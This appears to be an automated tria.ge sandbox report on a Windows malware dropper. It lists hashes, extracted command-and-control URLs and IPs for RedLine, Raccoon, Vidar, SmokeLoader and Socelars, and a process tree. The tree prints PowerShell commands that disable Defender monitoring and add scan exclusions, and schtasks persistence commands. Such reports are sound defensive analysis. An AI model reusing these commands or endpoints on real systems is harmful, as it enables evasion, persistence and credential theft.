Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows7_x64
10022e3c30a1...66.exe
windows11_x64
10022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows7_x64
104d27dca0a1...ef.exe
windows11_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows7_x64
10578a3a7a2b...b3.exe
windows11_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows7_x64
109c4880a98c...82.exe
windows11_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows7_x64
10a1dad4a83d...c4.exe
windows11_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows7_x64
10acf1b7d80f...e0.exe
windows11_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows7_x64
10cbf31d825a...d2.exe
windows11_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows7_x64
10db76a117db...12.exe
windows11_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows7_x64
10e2ffb8aeeb...f6.exe
windows11_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows7_x64
10f2196668f4...cb.exe
windows11_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
45s -
max time network
176s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
10/11/2021, 14:50
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win11
Behavioral task
behavioral3
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win7-en-20211104
Behavioral task
behavioral5
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win11
Behavioral task
behavioral6
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral7
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win7-en-20211014
Behavioral task
behavioral8
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win11
Behavioral task
behavioral9
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211104
Behavioral task
behavioral10
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win7-en-20211014
Behavioral task
behavioral11
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win11
Behavioral task
behavioral12
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211014
Behavioral task
behavioral13
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win7-en-20211104
Behavioral task
behavioral14
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win11
Behavioral task
behavioral15
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211014
Behavioral task
behavioral16
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win7-en-20211104
Behavioral task
behavioral17
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win11
Behavioral task
behavioral18
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral19
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win7-en-20211014
Behavioral task
behavioral20
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win11
Behavioral task
behavioral21
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211014
Behavioral task
behavioral22
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win7-en-20211104
Behavioral task
behavioral23
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win11
Behavioral task
behavioral24
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211104
Behavioral task
behavioral25
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win7-en-20211014
Behavioral task
behavioral26
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win11
Behavioral task
behavioral27
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211104
Behavioral task
behavioral28
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win7-en-20211014
Behavioral task
behavioral29
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win11
Behavioral task
behavioral30
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
General
-
Target
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
-
Size
4.7MB
-
MD5
0cc50985a2e8ae4f126dabb4b6a1c2be
-
SHA1
4d20dd812a0b2d47f4b9b511538125a1ad5d917c
-
SHA256
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef
-
SHA512
9916db8f6dcc3532d3f205d3d96154cdb511ac3b135a874f72f47be251feeedc3a83b9304f132b1e680b48b2d820dd88a2692cc1080baf88be4ffcb45d2cc439
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
raccoon
2f2ad1a1aa093c5a9d17040c8efd5650a99640b5
-
url4cnc
http://telegatt.top/oh12manymarty
http://telegka.top/oh12manymarty
http://telegin.top/oh12manymarty
https://t.me/oh12manymarty
Extracted
redline
media18
91.121.67.60:2151
Extracted
redline
Chris
194.104.136.5:46013
Extracted
redline
fucker2
135.181.129.119:4805
Extracted
smokeloader
2020
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
Extracted
vidar
48.1
937
-
profile_id
937
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2092 4208 rundll32.exe 118 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 7 IoCs
resource yara_rule behavioral6/memory/1696-286-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral6/memory/1696-291-0x000000000041B23E-mapping.dmp family_redline behavioral6/memory/1412-290-0x000000000041B23E-mapping.dmp family_redline behavioral6/memory/2560-285-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral6/memory/1412-284-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral6/memory/2560-288-0x000000000041B242-mapping.dmp family_redline behavioral6/memory/1412-341-0x00000000050A0000-0x00000000056A6000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral6/files/0x000400000001ab93-207.dat family_socelars behavioral6/files/0x000400000001ab93-201.dat family_socelars -
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Vidar Stealer 2 IoCs
resource yara_rule behavioral6/memory/4980-666-0x0000000000400000-0x00000000004D8000-memory.dmp family_vidar behavioral6/memory/4980-680-0x00000000021F0000-0x00000000022C5000-memory.dmp family_vidar -
resource yara_rule behavioral6/files/0x000500000001ab6e-127.dat aspack_v212_v242 behavioral6/files/0x000500000001ab6e-126.dat aspack_v212_v242 behavioral6/files/0x000400000001ab7f-125.dat aspack_v212_v242 behavioral6/files/0x000400000001ab81-132.dat aspack_v212_v242 behavioral6/files/0x000400000001ab81-131.dat aspack_v212_v242 behavioral6/files/0x000400000001ab7f-130.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 20 IoCs
pid Process 4512 setup_installer.exe 4468 setup_install.exe 1312 Tue19879c4c0e.exe 1664 Tue1993b3f72c.exe 2036 Tue19325eb008c0b950.exe 1668 Tue195c40958f528163.exe 2524 Tue19f51bcd77a.exe 2776 Tue193858933525b62.exe 2884 Tue19c06f159e0ec.exe 4712 Tue19411ac950924ec3f.exe 4692 Tue19150ee2be694c8a4.exe 3240 Tue192762f1cd058ddf8.exe 1148 Tue19b4ef3b53293fe.exe 940 Tue19c78ded4d176ac.exe 1092 Tue19761b3b8d9d.exe 2292 Tue19879c4c0e.tmp 4748 Tue1969586bcbf58493.exe 3880 Tue19c1338f41ab.exe 4396 Tue19879c4c0e.exe 4596 Tue19879c4c0e.tmp -
Modifies Windows Firewall 1 TTPs
-
Loads dropped DLL 9 IoCs
pid Process 4468 setup_install.exe 4468 setup_install.exe 4468 setup_install.exe 4468 setup_install.exe 4468 setup_install.exe 4468 setup_install.exe 4468 setup_install.exe 2292 Tue19879c4c0e.tmp 4596 Tue19879c4c0e.tmp -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 10 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 83 ip-api.com 220 ipinfo.io 486 ipinfo.io 72 ipinfo.io 73 ipinfo.io 75 ipinfo.io 216 ipinfo.io 261 ipinfo.io 389 ipinfo.io 390 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 14 IoCs
pid pid_target Process procid_target 4224 4468 WerFault.exe 69 404 3240 WerFault.exe 86 4744 2936 WerFault.exe 147 5672 2936 WerFault.exe 147 5836 1720 WerFault.exe 155 3972 2936 WerFault.exe 147 4188 1720 WerFault.exe 155 5712 2936 WerFault.exe 147 5924 1720 WerFault.exe 155 1144 1720 WerFault.exe 155 2140 2936 WerFault.exe 147 5336 2936 WerFault.exe 147 5628 2936 WerFault.exe 147 5312 2884 WerFault.exe 84 -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3100 schtasks.exe 1260 schtasks.exe 1196 schtasks.exe 5740 schtasks.exe 2124 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 5128 timeout.exe -
Kills process with taskkill 5 IoCs
pid Process 648 taskkill.exe 708 taskkill.exe 2816 taskkill.exe 5272 taskkill.exe 2996 taskkill.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 21 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 4224 WerFault.exe 1116 powershell.exe 1116 powershell.exe -
Suspicious use of AdjustPrivilegeToken 41 IoCs
description pid Process Token: SeCreateTokenPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeAssignPrimaryTokenPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeLockMemoryPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeIncreaseQuotaPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeMachineAccountPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeTcbPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeSecurityPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeTakeOwnershipPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeLoadDriverPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeSystemProfilePrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeSystemtimePrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeProfSingleProcessPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeIncBasePriorityPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeCreatePagefilePrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeCreatePermanentPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeBackupPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeRestorePrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeShutdownPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeDebugPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeAuditPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeSystemEnvironmentPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeChangeNotifyPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeRemoteShutdownPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeUndockPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeSyncAgentPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeEnableDelegationPrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeManageVolumePrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeImpersonatePrivilege 1148 Tue19b4ef3b53293fe.exe Token: SeCreateGlobalPrivilege 1148 Tue19b4ef3b53293fe.exe Token: 31 1148 Tue19b4ef3b53293fe.exe Token: 32 1148 Tue19b4ef3b53293fe.exe Token: 33 1148 Tue19b4ef3b53293fe.exe Token: 34 1148 Tue19b4ef3b53293fe.exe Token: 35 1148 Tue19b4ef3b53293fe.exe Token: SeDebugPrivilege 940 Tue19c78ded4d176ac.exe Token: SeRestorePrivilege 4224 WerFault.exe Token: SeBackupPrivilege 4224 WerFault.exe Token: SeDebugPrivilege 4224 WerFault.exe Token: SeDebugPrivilege 4712 Tue19411ac950924ec3f.exe Token: SeDebugPrivilege 1116 powershell.exe Token: SeDebugPrivilege 1044 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3024 wrote to memory of 4512 3024 4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe 68 PID 3024 wrote to memory of 4512 3024 4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe 68 PID 3024 wrote to memory of 4512 3024 4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe 68 PID 4512 wrote to memory of 4468 4512 setup_installer.exe 69 PID 4512 wrote to memory of 4468 4512 setup_installer.exe 69 PID 4512 wrote to memory of 4468 4512 setup_installer.exe 69 PID 4468 wrote to memory of 424 4468 setup_install.exe 72 PID 4468 wrote to memory of 424 4468 setup_install.exe 72 PID 4468 wrote to memory of 424 4468 setup_install.exe 72 PID 4468 wrote to memory of 548 4468 setup_install.exe 73 PID 4468 wrote to memory of 548 4468 setup_install.exe 73 PID 4468 wrote to memory of 548 4468 setup_install.exe 73 PID 4468 wrote to memory of 640 4468 setup_install.exe 74 PID 4468 wrote to memory of 640 4468 setup_install.exe 74 PID 4468 wrote to memory of 640 4468 setup_install.exe 74 PID 4468 wrote to memory of 804 4468 setup_install.exe 75 PID 4468 wrote to memory of 804 4468 setup_install.exe 75 PID 4468 wrote to memory of 804 4468 setup_install.exe 75 PID 4468 wrote to memory of 852 4468 setup_install.exe 76 PID 4468 wrote to memory of 852 4468 setup_install.exe 76 PID 4468 wrote to memory of 852 4468 setup_install.exe 76 PID 4468 wrote to memory of 60 4468 setup_install.exe 77 PID 4468 wrote to memory of 60 4468 setup_install.exe 77 PID 4468 wrote to memory of 60 4468 setup_install.exe 77 PID 4468 wrote to memory of 884 4468 setup_install.exe 78 PID 4468 wrote to memory of 884 4468 setup_install.exe 78 PID 4468 wrote to memory of 884 4468 setup_install.exe 78 PID 548 wrote to memory of 1116 548 cmd.exe 112 PID 548 wrote to memory of 1116 548 cmd.exe 112 PID 548 wrote to memory of 1116 548 cmd.exe 112 PID 424 wrote to memory of 1044 424 cmd.exe 111 PID 424 wrote to memory of 1044 424 cmd.exe 111 PID 424 wrote to memory of 1044 424 cmd.exe 111 PID 4468 wrote to memory of 1200 4468 setup_install.exe 79 PID 4468 wrote to memory of 1200 4468 setup_install.exe 79 PID 4468 wrote to memory of 1200 4468 setup_install.exe 79 PID 640 wrote to memory of 1312 640 cmd.exe 107 PID 640 wrote to memory of 1312 640 cmd.exe 107 PID 640 wrote to memory of 1312 640 cmd.exe 107 PID 4468 wrote to memory of 1336 4468 setup_install.exe 106 PID 4468 wrote to memory of 1336 4468 setup_install.exe 106 PID 4468 wrote to memory of 1336 4468 setup_install.exe 106 PID 4468 wrote to memory of 1520 4468 setup_install.exe 105 PID 4468 wrote to memory of 1520 4468 setup_install.exe 105 PID 4468 wrote to memory of 1520 4468 setup_install.exe 105 PID 1200 wrote to memory of 1664 1200 cmd.exe 104 PID 1200 wrote to memory of 1664 1200 cmd.exe 104 PID 1200 wrote to memory of 1664 1200 cmd.exe 104 PID 4468 wrote to memory of 1764 4468 setup_install.exe 89 PID 4468 wrote to memory of 1764 4468 setup_install.exe 89 PID 4468 wrote to memory of 1764 4468 setup_install.exe 89 PID 804 wrote to memory of 2036 804 cmd.exe 88 PID 804 wrote to memory of 2036 804 cmd.exe 88 PID 804 wrote to memory of 2036 804 cmd.exe 88 PID 852 wrote to memory of 1668 852 cmd.exe 80 PID 852 wrote to memory of 1668 852 cmd.exe 80 PID 852 wrote to memory of 1668 852 cmd.exe 80 PID 4468 wrote to memory of 2192 4468 setup_install.exe 81 PID 4468 wrote to memory of 2192 4468 setup_install.exe 81 PID 4468 wrote to memory of 2192 4468 setup_install.exe 81 PID 60 wrote to memory of 2524 60 cmd.exe 82 PID 60 wrote to memory of 2524 60 cmd.exe 82 PID 60 wrote to memory of 2524 60 cmd.exe 82 PID 4468 wrote to memory of 2760 4468 setup_install.exe 83
Processes
-
C:\Users\Admin\AppData\Local\Temp\4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe"C:\Users\Admin\AppData\Local\Temp\4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4512 -
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4468 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Suspicious use of WriteProcessMemory
PID:424 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1044
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:548 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1116
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19879c4c0e.exe4⤵
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19879c4c0e.exeTue19879c4c0e.exe5⤵
- Executes dropped EXE
PID:1312
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19325eb008c0b950.exe4⤵
- Suspicious use of WriteProcessMemory
PID:804 -
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19325eb008c0b950.exeTue19325eb008c0b950.exe5⤵
- Executes dropped EXE
PID:2036 -
C:\Users\Admin\Pictures\Adobe Films\V7X6VYqX5V5LFU4W8LpDXitt.exe"C:\Users\Admin\Pictures\Adobe Films\V7X6VYqX5V5LFU4W8LpDXitt.exe"6⤵PID:4968
-
-
C:\Users\Admin\Pictures\Adobe Films\bhQiFy2X3TYQeVoxQTsvJTyt.exe"C:\Users\Admin\Pictures\Adobe Films\bhQiFy2X3TYQeVoxQTsvJTyt.exe"6⤵PID:2516
-
-
C:\Users\Admin\Pictures\Adobe Films\9Rj_hcz7ehVfRh2WqVOsMsm0.exe"C:\Users\Admin\Pictures\Adobe Films\9Rj_hcz7ehVfRh2WqVOsMsm0.exe"6⤵PID:4352
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵PID:5424
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Pr7mdxtxeAOtkbhSZ_crHpYb.exe"C:\Users\Admin\Pictures\Adobe Films\Pr7mdxtxeAOtkbhSZ_crHpYb.exe"6⤵PID:1400
-
-
C:\Users\Admin\Pictures\Adobe Films\VBMvnYNWTcDcLyzsXlz4FVzM.exe"C:\Users\Admin\Pictures\Adobe Films\VBMvnYNWTcDcLyzsXlz4FVzM.exe"6⤵PID:1572
-
-
C:\Users\Admin\Pictures\Adobe Films\iYbe7ihc91pID9iAvOEnswvy.exe"C:\Users\Admin\Pictures\Adobe Films\iYbe7ihc91pID9iAvOEnswvy.exe"6⤵PID:1648
-
C:\Users\Admin\Pictures\Adobe Films\iYbe7ihc91pID9iAvOEnswvy.exe"C:\Users\Admin\Pictures\Adobe Films\iYbe7ihc91pID9iAvOEnswvy.exe"7⤵PID:6028
-
-
-
C:\Users\Admin\Pictures\Adobe Films\N0Qq8Bniep6dVIT39Uye2e8j.exe"C:\Users\Admin\Pictures\Adobe Films\N0Qq8Bniep6dVIT39Uye2e8j.exe"6⤵PID:1720
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1720 -s 6287⤵
- Program crash
PID:5836
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1720 -s 6487⤵
- Program crash
PID:4188
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1720 -s 6047⤵
- Program crash
PID:5924
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1720 -s 6087⤵
- Program crash
PID:1144
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Yaff3jY_QOOMPNf7k0H2wCJn.exe"C:\Users\Admin\Pictures\Adobe Films\Yaff3jY_QOOMPNf7k0H2wCJn.exe"6⤵PID:4444
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:2124
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:3100
-
-
C:\Users\Admin\Documents\rVQ3iwaCCuQDQ6MuVpyIJVqi.exe"C:\Users\Admin\Documents\rVQ3iwaCCuQDQ6MuVpyIJVqi.exe"7⤵PID:504
-
C:\Users\Admin\Pictures\Adobe Films\Q5y_PQ5PPuAl9CJv3YfACGqv.exe"C:\Users\Admin\Pictures\Adobe Films\Q5y_PQ5PPuAl9CJv3YfACGqv.exe"8⤵PID:6720
-
-
C:\Users\Admin\Pictures\Adobe Films\TLYxRxR0rwX_ZoP6X0r0foZS.exe"C:\Users\Admin\Pictures\Adobe Films\TLYxRxR0rwX_ZoP6X0r0foZS.exe"8⤵PID:7568
-
-
C:\Users\Admin\Pictures\Adobe Films\guUGZjw0mWvJondBzOKjduNp.exe"C:\Users\Admin\Pictures\Adobe Films\guUGZjw0mWvJondBzOKjduNp.exe"8⤵PID:7528
-
-
C:\Users\Admin\Pictures\Adobe Films\7EiDYPDw5jEzrty1Ps6FWIrw.exe"C:\Users\Admin\Pictures\Adobe Films\7EiDYPDw5jEzrty1Ps6FWIrw.exe"8⤵PID:7908
-
-
C:\Users\Admin\Pictures\Adobe Films\MnUu8RWsaVpA79NYCbjOiICC.exe"C:\Users\Admin\Pictures\Adobe Films\MnUu8RWsaVpA79NYCbjOiICC.exe"8⤵PID:7812
-
-
C:\Users\Admin\Pictures\Adobe Films\sL3CMb97SJs0Se9o3FzXb8eh.exe"C:\Users\Admin\Pictures\Adobe Films\sL3CMb97SJs0Se9o3FzXb8eh.exe"8⤵PID:7936
-
-
C:\Users\Admin\Pictures\Adobe Films\JHJL7ld9z5DumFQjWnNALn2a.exe"C:\Users\Admin\Pictures\Adobe Films\JHJL7ld9z5DumFQjWnNALn2a.exe"8⤵PID:7388
-
-
C:\Users\Admin\Pictures\Adobe Films\aMBKOdPYM5xhw7abLZGwiXbR.exe"C:\Users\Admin\Pictures\Adobe Films\aMBKOdPYM5xhw7abLZGwiXbR.exe"8⤵PID:7452
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\GLKZsl7sJDfPFBKV9TL8izf5.exe"C:\Users\Admin\Pictures\Adobe Films\GLKZsl7sJDfPFBKV9TL8izf5.exe"6⤵PID:3888
-
-
C:\Users\Admin\Pictures\Adobe Films\JH8o2zAq0ed2IYVGNRdXvQxc.exe"C:\Users\Admin\Pictures\Adobe Films\JH8o2zAq0ed2IYVGNRdXvQxc.exe"6⤵PID:4284
-
-
C:\Users\Admin\Pictures\Adobe Films\EppCoislXwecaOWumm858K4q.exe"C:\Users\Admin\Pictures\Adobe Films\EppCoislXwecaOWumm858K4q.exe"6⤵PID:3872
-
C:\Users\Admin\Pictures\Adobe Films\EppCoislXwecaOWumm858K4q.exe"C:\Users\Admin\Pictures\Adobe Films\EppCoislXwecaOWumm858K4q.exe"7⤵PID:1580
-
-
-
C:\Users\Admin\Pictures\Adobe Films\c6Q0y7tWzy7Rm3M9l87JCR55.exe"C:\Users\Admin\Pictures\Adobe Films\c6Q0y7tWzy7Rm3M9l87JCR55.exe"6⤵PID:3328
-
-
C:\Users\Admin\Pictures\Adobe Films\4hbxtprHTRQiiyAwjFvrmODP.exe"C:\Users\Admin\Pictures\Adobe Films\4hbxtprHTRQiiyAwjFvrmODP.exe"6⤵PID:4920
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"7⤵PID:5512
-
-
-
C:\Users\Admin\Pictures\Adobe Films\WyhHpkYH1yPwTIGZyHcrmxcy.exe"C:\Users\Admin\Pictures\Adobe Films\WyhHpkYH1yPwTIGZyHcrmxcy.exe"6⤵PID:1880
-
C:\Users\Admin\Pictures\Adobe Films\WyhHpkYH1yPwTIGZyHcrmxcy.exe"C:\Users\Admin\Pictures\Adobe Films\WyhHpkYH1yPwTIGZyHcrmxcy.exe"7⤵PID:6052
-
-
-
C:\Users\Admin\Pictures\Adobe Films\h7hgWtGM73LKaUORtLdXO0pb.exe"C:\Users\Admin\Pictures\Adobe Films\h7hgWtGM73LKaUORtLdXO0pb.exe"6⤵PID:5248
-
-
